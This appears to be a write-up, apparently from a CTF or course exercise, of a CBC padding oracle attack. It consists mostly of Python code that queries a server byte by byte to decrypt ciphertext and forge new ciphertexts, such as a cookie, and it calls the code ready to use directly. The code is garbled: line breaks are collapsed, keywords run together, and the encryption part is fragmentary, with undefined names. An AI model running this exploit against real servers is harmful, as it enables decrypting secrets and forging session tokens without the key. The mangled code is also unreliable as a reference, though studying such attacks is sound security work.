The server’s weakness is that it leaks whether the padding is valid through its responses, which allows an attacker to both decrypt and encrypt ciphertexts without knowing the key while using brute force attack. The key is to gain the intermediate value. When decrypting, we set a valid padding in plain text and loop previous cipher block’s bytes, try to get response with valid padding. Then use P[i] = D(C[i]) ⊕ C[i-1] to get the real plain text. Vice versa, when encrypting, we can set the last block in random value such as all zero, then use the similar process C[i-1] = D(C[i]) ⊕ P[i] to construct new cipher text with our desired plain text.
blocks = [cipher[i:i + block_size] for i inrange(0, len(cipher), block_size)] plaintext = bytearray()
# Process all blocks except the first (IV) for block_idx inrange(len(blocks) - 1, 0, -1): current_block = bytearray(blocks[block_idx]) intermediate_bytes = bytearray(block_size)
# Try each byte position for byte_pos inrange(block_size - 1, -1, -1): padding_value = block_size - byte_pos
previous_block = bytearray(blocks[block_idx - 1]) # Prepare known padding bytes for k inrange(byte_pos + 1, block_size): previous_block[k] = intermediate_bytes[k] ^ padding_value
# Try each possible byte value have_found_byte = False same_pos_with_cipher = -1 for guess inrange(256): previous_block[byte_pos] = guess
# Construct full test cipher test_cipher = bytearray() test_cipher.extend(previous_block) test_cipher.extend(current_block)
# Send the test blocks to server conn, _ = connect() conn.sendline(test_cipher.hex().encode()) # Send as hex string try: response = conn.recvline().decode().strip() except: response = '' conn.close()
# Check if padding is valid # NEED TO MODIFY BASED ON SERVER'S REAL SITUATION if (not response) or (response and"invalid"notin response): if guess == int(blocks[block_idx - 1][byte_pos]) and byte_pos == block_size - 1: same_pos_with_cipher = guess else: # Valid and Calculate intermediate byte intermediate_bytes[byte_pos] = guess ^ padding_value have_found_byte = True withopen('padding_output.log', 'a', buffering=1) as f: print(f"Found byte {byte_pos}: {hex(guess)}", file=f, flush=True) break
ifnot have_found_byte and same_pos_with_cipher != -1: intermediate_bytes[byte_pos] = same_pos_with_cipher ^ padding_value withopen('padding_output.log', 'a', buffering=1) as f: print(f"Found same byte {byte_pos}: {hex(guess)}!!!!", file=f, flush=True) ifnot have_found_byte and same_pos_with_cipher == -1: raise Exception(f"Failed to find valid byte at position {byte_pos}")
# Calculate plaintext block using intermediate bytes and previous cipher block decrypted_block = bytearray(block_size) for i inrange(block_size): decrypted_block[i] = intermediate_bytes[i] ^ blocks[block_idx - 1][i]
# Add decrypted block to plaintext plaintext[0:0] = decrypted_block
previous_block = bytearray(cipher_blocks[block_idx - 1]) # Prepare known padding bytes for k inrange(byte_pos + 1, block_size): previous_block[k] = intermediate_bytes[k] ^ padding_value
# Try each possible byte value have_found_byte = False for guess inrange(256): previous_block[byte_pos] = guess
# Construct full test cipher test_cipher = bytearray() test_cipher.extend(previous_block) test_cipher.extend(current_block)
# Send the test blocks to server conn = connect() conn.sendline(test_cipher.hex().encode()) # Send as hex string try: response = conn.recvline().decode().strip() except: response = '' conn.close()
# Check if padding is valid if (not response) or (response and"invalid"notin response): # Valid and Calculate intermediate byte intermediate_bytes[byte_pos] = guess ^ padding_value have_found_byte = True
withopen('create_cipher.log', 'a') as f: print(f"Final result (hex):{result}", file=f, flush=True)
I encountered a minor issue worth noting. If the end of the decrypted content needs to match the old cookie value, false positives can occur. Specifically, the decrypted hex might still be the old ciphertext.
Therefore, when cracking the last byte of the (n-1) block, we need to consider two possible scenarios. This code already accounts for this situation and can be used directly.
In more technical terms:
When performing a padding oracle attack, the verification of the last byte in a block can be ambiguous
If the expected padding at the end matches a pattern that already exists in the old cookie, the decryption might appear successful but actually return the original ciphertext
The solution is to test both possibilities when cracking the final byte of each (n-1) block
The implementation already handles this edge case correctly